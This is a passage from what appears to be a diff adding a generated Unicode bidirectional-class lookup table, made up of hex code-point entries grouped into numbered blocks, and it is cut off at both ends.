0x0005, 0x2939: 0x0005, 0x293a: 0x0005, 0x293b: 0x0005, + 0x293c: 0x0005, 0x293d: 0x0005, 0x293e: 0x0005, 0x293f: 0x0001, + // Block 0xa5, offset 0x2940 + 0x2940: 0x0001, 0x2941: 0x0001, 0x2942: 0x0001, 0x2943: 0x0001, 0x2944: 0x0001, 0x2945: 0x0001, + 0x2946: 0x0001, 0x2947: 0x0001, 0x2948: 0x0001, 0x2949: 0x0001, 0x294a: 0x0001, 0x294b: 0x0001, + 0x294c: 0x0001, 0x294d: 0x0001, 0x294e: 0x0001, 0x294f: 0x0001, 0x2950: 0x0001, 0x2951: 0x0001, + 0x2952: 0x0001, 0x2953: 0x0001, 0x2954: 0x0001, 0x2955: 0x0001, 0x2956: 0x0001, 0x2957: 0x0001, + 0x2958: 0x0001, 0x2959: 0x0001, 0x295a: 0x0001, 0x295b: 0x0001, 0x295c: 0x0001, 0x295d: 0x0001, + 0x295e: 0x0001, 0x295f: 0x0001, 0x2960: 0x0001, 0x2961: 0x0001, 0x2962: 0x0001, 0x2963: 0x0001, + 0x2964: 0x0001, 0x2965: 0x0001, 0x2966: 0x0001, 0x2967: 0x0001, 0x2968: 0x0001, 0x2969: 0x0001, + 0x296a: 0x0001, 0x296b: 0x000c, 0x296c: 0x000c, 0x296d: 0x0001, 0x296e: 0x0001, 0x296f: 0x0001, + 0x2970: 0x0001, 0x2971: 0x0001, 0x2972: 0x0001, 0x2973: 0x0001, 0x2974: 0x0001, 0x2975: 0x0001, + 0x2976: 0x0001, 0x2977: 0x0001, 0x2978: 0x0001, 0x2979: 0x0001, 0x297a: 0x0001, 0x297b: 0x0001, + 0x297c: 0x0001, 0x297d: 0x0001, 0x297e: 0x0001, 0x297f: 0x0001, + // Block 0xa6, offset 0x2980 + 0x2980: 0x0001, 0x2981: 0x0001, 0x2982: 0x0001, 0x2983: 0x0001, 0x2984: 0x0001, 0x2985: 0x0001, + 0x2986: 0x0001, 0x2987: 0x0001, 0x2988: 0x0001, 0x2989: 0x0001, 0x298a: 0x0001, 0x298b: 0x0001, + 0x298c: 0x0001, 0x298d: 0x0001, 0x298e: 0x0001, 0x298f: 0x0001, 0x2990: 0x0001, 0x2991: 0x0001, + 0x2992: 0x0001, 0x2993: 0x0001, 0x2994: 0x0001, 0x2995: 0x0001, 0x2996: 0x0001, 0x2997: 0x0001, + 0x2998: 0x0001, 0x2999: 0x0001, 0x299a: 0x0001, 0x299b: 0x0001, 0x299c: 0x0001, 0x299d: 0x0001, + 0x299e: 0x0001, 0x299f: 0x0001, 0x29a0: 0x0001, 0x29a1: 0x0001, 0x29a2: 0x0001, 0x29a3: 0x0001, + 0x29a4: 0x0001, 0x29a5: 0x0001, 0x29a6: 0x0001, 0x29a7: 0x0001, 0x29a8: 0x0001, 0x29a9: 0x0001, + 0x29aa: 0x0001, 0x29ab: 0x0001, 0x29ac: 0x0001, 0x29ad: 0x0001, 0x29ae: 0x0001, 0x29af: 0x0001, + 0x29b0: 0x0001, 0x29b1: 0x0001, 0x29b2: 0x0001, 0x29b3: 0x0001, 0x29b4: 0x0001, 0x29b5: 0x0001, + 0x29b6: 0x0001, 0x29b7: 0x0001, 0x29b8: 0x0001, 0x29b9: 0x0001, 0x29ba: 0x0001, 0x29bb: 0x0001, + 0x29bc: 0x0001, 0x29bd: 0x000c, 0x29be: 0x000c, 0x29bf: 0x000c, + // Block 0xa7, offset 0x29c0 + 0x29c0: 0x0001, 0x29c1: 0x0001, 0x29c2: 0x0001, 0x29c3: 0x0001, 0x29c4: 0x0001, 0x29c5: 0x0001, + 0x29c6: 0x0001, 0x29c7: 0x0001, 0x29c8: 0x0001, 0x29c9: 0x0001, 0x29ca: 0x0001, 0x29cb: 0x0001, + 0x29cc: 0x0001, 0x29cd: 0x0001, 0x29ce: 0x0001, 0x29cf: 0x0001, 0x29d0: 0x0001, 0x29d1: 0x0001, + 0x29d2: 0x0001, 0x29d3: 0x0001, 0x29d4: 0x0001, 0x29d5: 0x0001, 0x29d6: 0x0001, 0x29d7: 0x0001, + 0x29d8: 0x0001, 0x29d9: 0x0001, 0x29da: 0x0001, 0x29db: 0x0001, 0x29dc: 0x0001, 0x29dd: 0x0001, + 0x29de: 0x0001, 0x29df: 0x0001, 0x29e0: 0x0001, 0x29e1: 0x0001, 0x29e2: 0x0001, 0x29e3: 0x0001, + 0x29e4: 0x0001, 0x29e5: 0x0001, 0x29e6: 0x0001, 0x29e7: 0x0001, 0x29e8: 0x0001, 0x29e9: 0x0001, + 0x29ea: 0x0001, 0x29eb: 0x0001, 0x29ec: 0x0001, 0x29ed: 0x0001, 0x29ee: 0x0001, 0x29ef: 0x0001, + 0x29f0: 0x000d, 0x29f1: 0x000d, 0x29f2: 0x000d, 0x29f3: 0x000d, 0x29f4: 0x000d, 0x29f5: 0x000d, + 0x29f6: 0x000d, 0x29f7: 0x000d, 0x29f8: 0x000d, 0x29f9: 0x000d, 0x29fa: 0x000d, 0x29fb: 0x000d, + 0x29fc: 0x000d, 0x29fd: 0x000d, 0x29fe: 0x000d, 0x29ff: 0x000d, + // Block 0xa8, offset 0x2a00 + 0x2a00: 0x000d, 0x2a01: 0x000d, 0x2a02: 0x000d, 0x2a03: 0x000d, 0x2a04: 0x000d, 0x2a05: 0x000d, + 0x2a06: 0x000c, 0x2a07: 0x000c, 0x2a08: 0x000c, 0x2a09: 0x000c, 0x2a0a: 0x000c, 0x2a0b: 0x000c, + 0x2a0c: 0x000c, 0x2a0d: 0x000c, 0x2a0e: 0x000c, 0x2a0f: 0x000c, 0x2a10: 0x000c, 0x2a11: 0x000d, + 0x2a12: 0x000d, 0x2a13: 0x000d, 0x2a14: 0x000d, 0x2a15: 0x000d, 0x2a16: 0x000d, 0x2a17: 0x000d, + 0x2a18: 0x000d, 0x2a19: 0x000d, 0x2a1a: 0x0001, 0x2a1b: 0x0001, 0x2a1c: 0x0001, 0x2a1d: 0x0001, + 0x2a1e: 0x0001, 0x2a1f: 0x0001, 0x2a20: 0x0001, 0x2a21: 0x0001, 0x2a22: 0x0001, 0x2a23: 0x0001, + 0x2a24: 0x0001, 0x2a25: 0x0001, 0x2a26: 0x0001, 0x2a27: 0x0001, 0x2a28: 0x0001, 0x2a29: 0x0001, + 0x2a2a: 0x0001, 0x2a2b: 0x0001, 0x2a2c: 0x0001, 0x2a2d: 0x0001, 0x2a2e: 0x0001, 0x2a2f: 0x0001, + 0x2a30: 0x0001, 0x2a31: 0x0001, 0x2a32: 0x0001, 0x2a33: 0x0001, 0x2a34: 0x0001, 0x2a35: 0x0001, + 0x2a36: 0x0001, 0x2a37: 0x0001, 0x2a38: 0x0001, 0x2a39: 0x0001, 0x2a3a: 0x0001, 0x2a3b: 0x0001, + 0x2a3c: 0x0001, 0x2a3d: 0x0001, 0x2a3e: 0x0001, 0x2a3f: 0x0001, + // Block 0xa9, offset 0x2a40 + 0x2a40: 0x0001, 0x2a41: 0x0001, 0x2a42: 0x000c, 0x2a43: 0x000c, 0x2a44: 0x000c, 0x2a45: 0x000c, + 0x2a46: 0x0001, 0x2a47: 0x0001, 0x2a48: 0x0001, 0x2a49: 0x0001, 0x2a4a: 0x0001, 0x2a4b: 0x0001, + 0x2a4c: 0x0001, 0x2a4d: 0x0001, 0x2a4e: 0x0001, 0x2a4f: 0x0001, 0x2a50: 0x0001, 0x2a51: 0x0001, + 0x2a52: 0x0001, 0x2a53: 0x0001, 0x2a54: 0x0001, 0x2a55: 0x0001, 0x2a56: 0x0001, 0x2a57: 0x0001, + 0x2a58: 0x0001, 0x2a59: 0x0001, 0x2a5a: 0x0001, 0x2a5b: 0x0001, 0x2a5c: 0x0001, 0x2a5d: 0x0001, + 0x2a5e: 0x0001, 0x2a5f: 0x0001, 0x2a60: 0x0001, 0x2a61: 0x0001, 0x2a62: 0x0001, 0x2a63: 0x0001, + 0x2a64: 0x0001, 0x2a65: 0x0001, 0x2a66: 0x0001, 0x2a67: 0x0001, 0x2a68: 0x0001, 0x2a69: 0x0001, + 0x2a6a: 0x0001, 0x2a6b: 0x0001, 0x2a6c: 0x0001, 0x2a6d: 0x0001, 0x2a6e: 0x0001, 0x2a6f: 0x0001, + 0x2a70: 0x0001, 0x2a71: 0x0001, 0x2a72: 0x0001, 0x2a73: 0x0001, 0x2a74: 0x0001, 0x2a75: 0x0001, + 0x2a76: 0x0001, 0x2a77: 0x0001, 0x2a78: 0x0001, 0x2a79: 0x0001, 0x2a7a: 0x0001, 0x2a7b: 0x0001, + 0x2a7c: 0x0001, 0x2a7d: 0x0001, 0x2a7e: 0x0001, 0x2a7f: 0x0001, + // Block 0xaa, offset 0x2a80 + 0x2a81: 0x000c, + 0x2ab8: 0x000c, 0x2ab9: 0x000c, 0x2aba: 0x000c, 0x2abb: 0x000c, + 0x2abc: 0x000c, 0x2abd: 0x000c, 0x2abe: 0x000c, 0x2abf: 0x000c, + // Block 0xab, offset 0x2ac0 + 0x2ac0: 0x000c, 0x2ac1: 0x000c, 0x2ac2: 0x000c, 0x2ac3: 0x000c, 0x2ac4: 0x000c, 0x2ac5: 0x000c, + 0x2ac6: 0x000c, + 0x2ad2: 0x000a, 0x2ad3: 0x000a, 0x2ad4: 0x000a, 0x2ad5: 0x000a, 0x2ad6: 0x000a, 0x2ad7: 0x000a, + 0x2ad8: 0x000a, 0x2ad9: 0x000a, 0x2ada: 0x000a, 0x2adb: 0x000a, 0x2adc: 0x000a, 0x2add: 0x000a, + 0x2ade: 0x000a, 0x2adf: 0x000a, 0x2ae0: 0x000a, 0x2ae1: 0x000a, 0x2ae2: 0x000a, 0x2ae3: 0x000a, + 0x2ae4: 0x000a, 0x2ae5: 0x000a, + 0x2af0: 0x000c, 0x2af3: 0x000c, 0x2af4: 0x000c, + 0x2aff: 0x000c, + // Block 0xac, offset 0x2b00 + 0x2b00: 0x000c, 0x2b01: 0x000c, + 0x2b33: 0x000c, 0x2b34: 0x000c, 0x2b35: 0x000c, + 0x2b36: 0x000c, 0x2b39: 0x000c, 0x2b3a: 0x000c, + // Block 0xad, offset 0x2b40 + 0x2b40: 0x000c, 0x2b41: 0x000c, 0x2b42: 0x000c, + 0x2b67: 0x000c, 0x2b68: 0x000c, 0x2b69: 0x000c, + 0x2b6a: 0x000c, 0x2b6b: 0x000c, 0x2b6d: 0x000c, 0x2b6e: 0x000c, 0x2b6f: 0x000c, + 0x2b70: 0x000c, 0x2b71: 0x000c, 0x2b72: 0x000c, 0x2b73: 0x000c, 0x2b74: 0x000c, + // Block 0xae, offset 0x2b80 + 0x2bb3: 0x000c, + // Block 0xaf, offset 0x2bc0 + 0x2bc0: 0x000c, 0x2bc1: 0x000c, + 0x2bf6: 0x000c, 0x2bf7: 0x000c, 0x2bf8: 0x000c, 0x2bf9: 0x000c, 0x2bfa: 0x000c, 0x2bfb: 0x000c, + 0x2bfc: 0x000c, 0x2bfd: 0x000c, 0x2bfe: 0x000c, + // Block 0xb0, offset 0x2c00 + 0x2c09: 0x000c, 0x2c0a: 0x000c, 0x2c0b: 0x000c, + 0x2c0c: 0x000c, 0x2c0f: 0x000c, + // Block 0xb1, offset 0x2c40 + 0x2c6f: 0x000c, + 0x2c70: 0x000c, 0x2c71: 0x000c, 0x2c74: 0x000c, + 0x2c76: 0x000c, 0x2c77: 0x000c, + 0x2c7e: 0x000c, + // Block 0xb2, offset 0x2c80 + 0x2c9f: 0x000c, 0x2ca3: 0x000c, + 0x2ca4: 0x000c, 0x2ca5: 0x000c, 0x2ca6: 0x000c, 0x2ca7: 0x000c, 0x2ca8: 0x000c, 0x2ca9: 0x000c, + 0x2caa: 0x000c, + // Block 0xb3, offset 0x2cc0 + 0x2cc0: 0x000c, + 0x2ce6: 0x000c, 0x2ce7: 0x000c, 0x2ce8: 0x000c, 0x2ce9: 0x000c, + 0x2cea: 0x000c, 0x2ceb: 0x000c, 0x2cec: 0x000c, + 0x2cf0: 0x000c, 0x2cf1: 0x000c, 0x2cf2: 0x000c, 0x2cf3: 0x000c, 0x2cf4: 0x000c, + // Block 0xb4, offset 0x2d00 + 0x2d38: 0x000c, 0x2d39: 0x000c, 0x2d3a: 0x000c, 0x2d3b: 0x000c, + 0x2d3c: 0x000c, 0x2d3d: 0x000c, 0x2d3e: 0x000c, 0x2d3f: 0x000c, + // Block 0xb5, offset 0x2d40 + 0x2d42: 0x000c, 0x2d43: 0x000c, 0x2d44: 0x000c, + 0x2d46: 0x000c, + 0x2d5e: 0x000c, + // Block 0xb6, offset 0x2d80 + 0x2db3: 0x000c, 0x2db4: 0x000c, 0x2db5: 0x000c, + 0x2db6: 0x000c, 0x2db7: 0x000c, 0x2db8: 0x000c, 0x2dba: 0x000c, + 0x2dbf: 0x000c, + // Block 0xb7, offset 0x2dc0 + 0x2dc0: 0x000c, 0x2dc2: 0x000c, 0x2dc3: 0x000c, + // Block 0xb8, offset 0x2e00 + 0x2e32: 0x000c, 0x2e33: 0x000c, 0x2e34: 0x000c, 0x2e35: 0x000c, + 0x2e3c: 0x000c, 0x2e3d: 0x000c, 0x2e3f: 0x000c, + // Block 0xb9, offset 0x2e40 + 0x2e40: 0x000c, + 0x2e5c: 0x000c, 0x2e5d: 0x000c, + // Block 0xba, offset 0x2e80 + 0x2eb3: 0x000c, 0x2eb4: 0x000c, 0x2eb5: 0x000c, + 0x2eb6: 0x000c, 0x2eb7: 0x000c, 0x2eb8: 0x000c, 0x2eb9: 0x000c, 0x2eba: 0x000c, + 0x2ebd: 0x000c, 0x2ebf: 0x000c, + // Block 0xbb, offset 0x2ec0 + 0x2ec0: 0x000c, + 0x2ee0: 0x000a, 0x2ee1: 0x000a, 0x2ee2: 0x000a, 0x2ee3: 0x000a, + 0x2ee4: 0x000a, 0x2ee5: 0x000a, 0x2ee6: 0x000a, 0x2ee7: 0x000a, 0x2ee8: 0x000a, 0x2ee9: 0x000a, + 0x2eea: 0x000a, 0x2eeb: 0x000a, 0x2eec: 0x000a, + // Block 0xbc, offset 0x2f00 + 0x2f2b: 0x000c, 0x2f2d: 0x000c, + 0x2f30: 0x000c, 0x2f31: 0x000c, 0x2f32: 0x000c, 0x2f33: 0x000c, 0x2f34: 0x000c, 0x2f35: 0x000c, + 0x2f37: 0x000c, + // Block 0xbd, offset 0x2f40 + 0x2f5d: 0x000c, + 0x2f5e: 0x000c, 0x2f5f: 0x000c, 0x2f62: 0x000c, 0x2f63: 0x000c, + 0x2f64: 0x000c, 0x2f65: 0x000c, 0x2f67: 0x000c, 0x2f68: 0x000c, 0x2f69: 0x000c, + 0x2f6a: 0x000c, 0x2f6b: 0x000c, + // Block 0xbe, offset 0x2f80 + 0x2faf: 0x000c, + 0x2fb0: 0x000c, 0x2fb1: 0x000c, 0x2fb2: 0x000c, 0x2fb3: 0x000c, 0x2fb4: 0x000c, 0x2fb5: 0x000c, + 0x2fb6: 0x000c, 0x2fb7: 0x000c, 0x2fb9: 0x000c, 0x2fba: 0x000c, + // Block 0xbf, offset 0x2fc0 + 0x2ffb: 0x000c, + 0x2ffc: 0x000c, 0x2ffe: 0x000c, + // Block 0xc0, offset 0x3000 + 0x3003: 0x000c, + // Block 0xc1, offset 0x3040 + 0x3054: 0x000c, 0x3055: 0x000c, 0x3056: 0x000c, 0x3057: 0x000c, + 0x305a: 0x000c, 0x305b: 0x000c, + 0x3060: 0x000c, + // Block 0xc2, offset 0x3080 + 0x3081: 0x000c, 0x3082: 0x000c, 0x3083: 0x000c, 0x3084: 0x000c, 0x3085: 0x000c, + 0x3086: 0x000c, 0x3089: 0x000c, 0x308a: 0x000c, + 0x30b3: 0x000c, 0x30b4: 0x000c, 0x30b5: 0x000c, + 0x30b6: 0x000c, 0x30b7: 0x000c, 0x30b8: 0x000c, 0x30bb: 0x000c, + 0x30bc: 0x000c, 0x30bd: 0x000c, 0x30be: 0x000c, + // Block 0xc3, offset 0x30c0 + 0x30c7: 0x000c, + 0x30d1: 0x000c, + 0x30d2: 0x000c, 0x30d3: 0x000c, 0x30d4: 0x000c, 0x30d5: 0x000c, 0x30d6: 0x000c, + 0x30d9: 0x000c, 0x30da: 0x000c, 0x30db: 0x000c, + // Block 0xc4, offset 0x3100 + 0x310a: 0x000c, 0x310b: 0x000c, + 0x310c: 0x000c, 0x310d: 0x000c, 0x310e: 0x000c, 0x310f: 0x000c, 0x3110: 0x000c, 0x3111: 0x000c, + 0x3112: 0x000c, 0x3113: 0x000c, 0x3114: 0x000c, 0x3115: 0x000c, 0x3116: 0x000c, + 0x3118: 0x000c, 0x3119: 0x000c, + // Block 0xc5, offset 0x3140 + 0x3170: 0x000c, 0x3171: 0x000c, 0x3172: 0x000c, 0x3173: 0x000c, 0x3174: 0x000c, 0x3175: 0x000c, + 0x3176: 0x000c, 0x3178: 0x000c, 0x3179: 0x000c, 0x317a: 0x000c, 0x317b: 0x000c, + 0x317c: 0x000c, 0x317d: 0x000c, + // Block 0xc6, offset 0x3180 + 0x3192: 0x000c, 0x3193: 0x000c, 0x3194: 0x000c, 0x3195: 0x000c, 0x3196: 0x000c, 0x3197: 0x000c, + 0x3198: 0x000c, 0x3199: 0x000c, 0x319a: 0x000c, 0x319b: 0x000c, 0x319c: 0x000c, 0x319d: 0x000c, + 0x319e: 0x000c, 0x319f: 0x000c, 0x31a0: 0x000c, 0x31a1: 0x000c, 0x31a2: 0x000c, 0x31a3: 0x000c, + 0x31a4: 0x000c, 0x31a5: 0x000c, 0x31a6: 0x000c, 0x31a7: 0x000c, + 0x31aa: 0x000c, 0x31ab: 0x000c, 0x31ac: 0x000c, 0x31ad: 0x000c, 0x31ae: 0x000c, 0x31af: 0x000c, + 0x31b0: 0x000c, 0x31b2: 0x000c, 0x31b3: 0x000c, 0x31b5: 0x000c, + 0x31b6: 0x000c, + // Block 0xc7, offset 0x31c0 + 0x31f1: 0x000c, 0x31f2: 0x000c, 0x31f3: 0x000c, 0x31f4: 0x000c, 0x31f5: 0x000c, + 0x31f6: 0x000c, 0x31fa: 0x000c, + 0x31fc: 0x000c, 0x31fd: 0x000c, 0x31ff: 0x000c, + // Block 0xc8, offset 0x3200 + 0x3200: 0x000c, 0x3201: 0x000c, 0x3202: 0x000c, 0x3203: 0x000c, 0x3204: 0x000c, 0x3205: 0x000c, + 0x3207: 0x000c, + // Block 0xc9, offset 0x3240 + 0x3250: 0x000c, 0x3251: 0x000c, + 0x3255: 0x000c, 0x3257: 0x000c, + // Block 0xca, offset 0x3280 + 0x32b3: 0x000c, 0x32b4: 0x000c, + // Block 0xcb, offset 0x32c0 + 0x32c0: 0x000c, 0x32c1: 0x000c, + 0x32f6: 0x000c, 0x32f7: 0x000c, 0x32f8: 0x000c, 0x32f9: 0x000c, 0x32fa: 0x000c, + // Block 0xcc, offset 0x3300 + 0x3300: 0x000c, 0x3302: 0x000c, + // Block 0xcd, offset 0x3340 + 0x3355: 0x000a, 0x3356: 0x000a, 0x3357: 0x000a, + 0x3358: 0x000a, 0x3359: 0x000a, 0x335a: 0x000a, 0x335b: 0x000a, 0x335c: 0x000a, 0x335d: 0x0004, + 0x335e: 0x0004, 0x335f: 0x0004, 0x3360: 0x0004, 0x3361: 0x000a, 0x3362: 0x000a, 0x3363: 0x000a, + 0x3364: 0x000a, 0x3365: 0x000a, 0x3366: 0x000a, 0x3367: 0x000a, 0x3368: 0x000a, 0x3369: 0x000a, + 0x336a: 0x000a, 0x336b: 0x000a, 0x336c: 0x000a, 0x336d: 0x000a, 0x336e: 0x000a, 0x336f: 0x000a, + 0x3370: 0x000a, 0x3371: 0x000a, + // Block 0xce, offset 0x3380 + 0x3380: 0x000c, + 0x3387: 0x000c, 0x3388: 0x000c, 0x3389: 0x000c, 0x338a: 0x000c, 0x338b: 0x000c, + 0x338c: 0x000c, 0x338d: 0x000c, 0x338e: 0x000c, 0x338f: 0x000c, 0x3390: 0x000c, 0x3391: 0x000c, + 0x3392: 0x000c, 0x3393: 0x000c, 0x3394: 0x000c, 0x3395: 0x000c, + // Block 0xcf, offset 0x33c0 + 0x33f0: 0x000c, 0x33f1: 0x000c, 0x33f2: 0x000c, 0x33f3: 0x000c, 0x33f4: 0x000c, + // Block 0xd0, offset 0x3400 + 0x3430: 0x000c, 0x3431: 0x000c, 0x3432: 0x000c, 0x3433: 0x000c, 0x3434: 0x000c, 0x3435: 0x000c, + 0x3436: 0x000c, + // Block 0xd1, offset 0x3440 + 0x344f: 0x000c, + // Block 0xd2, offset 0x3480 + 0x348f: 0x000c, 0x3490: 0x000c, 0x3491: 0x000c, + 0x3492: 0x000c, + // Block 0xd3, offset 0x34c0 + 0x34e2: 0x000a, + 0x34e4: 0x000c, + // Block 0xd4, offset 0x3500 + 0x351d: 0x000c, + 0x351e: 0x000c, 0x3520: 0x000b, 0x3521: 0x000b, 0x3522: 0x000b, 0x3523: 0x000b, + // Block 0xd5, offset 0x3540 + 0x3540: 0x000c, 0x3541: 0x000c, 0x3542: 0x000c, 0x3543: 0x000c, 0x3544: 0x000c, 0x3545: 0x000c, + 0x3546: 0x000c, 0x3547: 0x000c, 0x3548: 0x000c, 0x3549: 0x000c, 0x354a: 0x000c, 0x354b: 0x000c, + 0x354c: 0x000c, 0x354d: 0x000c, 0x354e: 0x000c, 0x354f: 0x000c, 0x3550: 0x000c, 0x3551: 0x000c, + 0x3552: 0x000c, 0x3553: 0x000c, 0x3554: 0x000c, 0x3555: 0x000c, 0x3556: 0x000c, 0x3557: 0x000c, + 0x3558: 0x000c, 0x3559: 0x000c, 0x355a: 0x000c, 0x355b: 0x000c, 0x355c: 0x000c, 0x355d: 0x000c, + 0x355e: 0x000c, 0x355f: 0x000c, 0x3560: 0x000c, 0x3561: 0x000c, 0x3562: 0x000c, 0x3563: 0x000c, + 0x3564: 0x000c, 0x3565: 0x000c, 0x3566: 0x000c, 0x3567: 0x000c, 0x3568: 0x000c, 0x3569: 0x000c, + 0x356a: 0x000c, 0x356b: 0x000c, 0x356c: 0x000c, 0x356d: 0x000c, + 0x3570: 0x000c, 0x3571: 0x000c, 0x3572: 0x000c, 0x3573: 0x000c, 0x3574: 0x000c, 0x3575: 0x000c, + 0x3576: 0x000c, 0x3577: 0x000c, 0x3578: 0x000c, 0x3579: 0x000c, 0x357a: 0x000c, 0x357b: 0x000c, + 0x357c: 0x000c, 0x357d: 0x000c, 0x357e: 0x000c, 0x357f: 0x000c, + // Block 0xd6, offset 0x3580 + 0x3580: 0x000c, 0x3581: 0x000c, 0x3582: 0x000c, 0x3583: 0x000c, 0x3584: 0x000c, 0x3585: 0x000c, + 0x3586: 0x000c, + // Block 0xd7, offset 0x35c0 + 0x35e7: 0x000c, 0x35e8: 0x000c, 0x35e9: 0x000c, + 0x35f3: 0x000b, 0x35f4: 0x000b, 0x35f5: 0x000b, + 0x35f6: 0x000b, 0x35f7: 0x000b, 0x35f8: 0x000b, 0x35f9: 0x000b, 0x35fa: 0x000b, 0x35fb: 0x000c, + 0x35fc: 0x000c, 0x35fd: 0x000c, 0x35fe: 0x000c, 0x35ff: 0x000c, + // Block 0xd8, offset 0x3600 + 0x3600: 0x000c, 0x3601: 0x000c, 0x3602: 0x000c, 0x3605: 0x000c, + 0x3606: 0x000c, 0x3607: 0x000c, 0x3608: 0x000c, 0x3609: 0x000c, 0x360a: 0x000c, 0x360b: 0x000c, + 0x362a: 0x000c, 0x362b: 0x000c, 0x362c: 0x000c, 0x362d: 0x000c, + // Block 0xd9, offset 0x3640 + 0x3669: 0x000a, + 0x366a: 0x000a, + // Block 0xda, offset 0x3680 + 0x3680: 0x000a, 0x3681: 0x000a, 0x3682: 0x000c, 0x3683: 0x000c, 0x3684: 0x000c, 0x3685: 0x000a, + // Block 0xdb, offset 0x36c0 + 0x36c0: 0x000a, 0x36c1: 0x000a, 0x36c2: 0x000a, 0x36c3: 0x000a, 0x36c4: 0x000a, 0x36c5: 0x000a, + 0x36c6: 0x000a, 0x36c7: 0x000a, 0x36c8: 0x000a, 0x36c9: 0x000a, 0x36ca: 0x000a, 0x36cb: 0x000a, + 0x36cc: 0x000a, 0x36cd: 0x000a, 0x36ce: 0x000a, 0x36cf: 0x000a, 0x36d0: 0x000a, 0x36d1: 0x000a, + 0x36d2: 0x000a, 0x36d3: 0x000a, 0x36d4: 0x000a, 0x36d5: 0x000a, 0x36d6: 0x000a, + // Block 0xdc, offset 0x3700 + 0x371b: 0x000a, + // Block 0xdd, offset 0x3740 + 0x3755: 0x000a, + // Block 0xde, offset 0x3780 + 0x378f: 0x000a, + // Block 0xdf, offset 0x37c0 + 0x37c9: 0x000a, + // Block 0xe0, offset 0x3800 + 0x3803: 0x000a, + 0x380e: 0x0002, 0x380f: 0x0002, 0x3810: 0x0002, 0x3811: 0x0002, + 0x3812: 0x0002, 0x3813: 0x0002, 0x3814: 0x0002, 0x3815: 0x0002, 0x3816: 0x0002, 0x3817: 0x0002, + 0x3818: 0x0002, 0x3819: 0x0002, 0x381a: 0x0002, 0x381b: 0x0002, 0x381c: 0x0002, 0x381d: 0x0002, + 0x381e: 0x0002, 0x381f: 0x0002, 0x3820: 0x0002, 0x3821: 0x0002, 0x3822: 0x0002, 0x3823: 0x0002, + 0x3824: 0x0002, 0x3825: 0x0002, 0x3826: 0x0002, 0x3827: 0x0002, 0x3828: 0x0002, 0x3829: 0x0002, + 0x382a: 0x0002, 0x382b: 0x0002, 0x382c: 0x0002, 0x382d: 0x0002, 0x382e: 0x0002, 0x382f: 0x0002, + 0x3830: 0x0002, 0x3831: 0x0002, 0x3832: 0x0002, 0x3833: 0x0002, 0x3834: 0x0002, 0x3835: 0x0002, + 0x3836: 0x0002, 0x3837: 0x0002, 0x3838: 0x0002, 0x3839: 0x0002, 0x383a: 0x0002, 0x383b: 0x0002, + 0x383c: 0x0002, 0x383d: 0x0002, 0x383e: 0x0002, 0x383f: 0x0002, + // Block 0xe1, offset 0x3840 + 0x3840: 0x000c, 0x3841: 0x000c, 0x3842: 0x000c, 0x3843: 0x000c, 0x3844: 0x000c, 0x3845: 0x000c, + 0x3846: 0x000c, 0x3847: 0x000c, 0x3848: 0x000c, 0x3849: 0x000c, 0x384a: 0x000c, 0x384b: 0x000c, + 0x384c: 0x000c, 0x384d: 0x000c, 0x384e: 0x000c, 0x384f: 0x000c, 0x3850: 0x000c, 0x3851: 0x000c, + 0x3852: 0x000c, 0x3853: 0x000c, 0x3854: 0x000c, 0x3855: 0x000c, 0x3856: 0x000c, 0x3857: 0x000c, + 0x3858: 0x000c, 0x3859: 0x000c, 0x385a: 0x000c, 0x385b: 0x000c, 0x385c: 0x000c, 0x385d: 0x000c, + 0x385e: 0x000c, 0x385f: 0x000c, 0x3860: 0x000c, 0x3861: 0x000c, 0x3862: 0x000c, 0x3863: 0x000c, + 0x3864: 0x000c, 0x3865: 0x000c, 0x3866: 0x000c, 0x3867: 0x000c, 0x3868: 0x000c, 0x3869: 0x000c, + 0x386a: 0x000c, 0x386b: 0x000c, 0x386c: 0x000c, 0x386d: 0x000c, 0x386e: 0x000c, 0x386f: 0x000c, + 0x3870: 0x000c, 0x3871: 0x000c, 0x3872: 0x000c, 0x3873: 0x000c, 0x3874: 0x000c, 0x3875: 0x000c, + 0x3876: 0x000c, 0x387b: 0x000c, + 0x387c: 0x000c, 0x387d: 0x000c, 0x387e: 0x000c, 0x387f: 0x000c, + // Block 0xe2, offset 0x3880 + 0x3880: 0x000c, 0x3881: 0x000c, 0x3882: 0x000c, 0x3883: 0x000c, 0x3884: 0x000c, 0x3885: 0x000c, + 0x3886: 0x000c, 0x3887: 0x000c, 0x3888: 0x000c, 0x3889: 0x000c, 0x388a: 0x000c, 0x388b: 0x000c, + 0x388c: 0x000c, 0x388d: 0x000c, 0x388e: 0x000c, 0x388f: 0x000c, 0x3890: 0x000c, 0x3891: 0x000c, + 0x3892: 0x000c, 0x3893: 0x000c, 0x3894: 0x000c, 0x3895: 0x000c, 0x3896: 0x000c, 0x3897: 0x000c, + 0x3898: 0x000c, 0x3899: 0x000c, 0x389a: 0x000c, 0x389b: 0x000c, 0x389c: 0x000c, 0x389d: 0x000c, + 0x389e: 0x000c, 0x389f: 0x000c, 0x38a0: 0x000c, 0x38a1: 0x000c, 0x38a2: 0x000c, 0x38a3: 0x000c, + 0x38a4: 0x000c, 0x38a5: 0x000c, 0x38a6: 0x000c, 0x38a7: 0x000c, 0x38a8: 0x000c, 0x38a9: 0x000c, + 0x38aa: 0x000c, 0x38ab: 0x000c, 0x38ac: 0x000c, + 0x38b5: 0x000c, + // Block 0xe3, offset 0x38c0 + 0x38c4: 0x000c, + 0x38db: 0x000c, 0x38dc: 0x000c, 0x38dd: 0x000c, + 0x38de: 0x000c, 0x38df: 0x000c, 0x38e1: 0x000c, 0x38e2: 0x000c, 0x38e3: 0x000c, + 0x38e4: 0x000c, 0x38e5: 0x000c, 0x38e6: 0x000c, 0x38e7: 0x000c, 0x38e8: 0x000c, 0x38e9: 0x000c, + 0x38ea: 0x000c, 0x38eb: 0x000c, 0x38ec: 0x000c, 0x38ed: 0x000c, 0x38ee: 0x000c, 0x38ef: 0x000c, + // Block 0xe4, offset 0x3900 + 0x3900: 0x000c, 0x3901: 0x000c, 0x3902: 0x000c, 0x3903: 0x000c, 0x3904: 0x000c, 0x3905: 0x000c, + 0x3906: 0x000c, 0x3908: 0x000c, 0x3909: 0x000c, 0x390a: 0x000c, 0x390b: 0x000c, + 0x390c: 0x000c, 0x390d: 0x000c, 0x390e: 0x000c, 0x390f: 0x000c, 0x3910: 0x000c, 0x3911: 0x000c, + 0x3912: 0x000c, 0x3913: 0x000c, 0x3914: 0x000c, 0x3915: 0x000c, 0x3916: 0x000c, 0x3917: 0x000c, + 0x3918: 0x000c, 0x391b: 0x000c, 0x391c: 0x000c, 0x391d: 0x000c, + 0x391e: 0x000c, 0x391f: 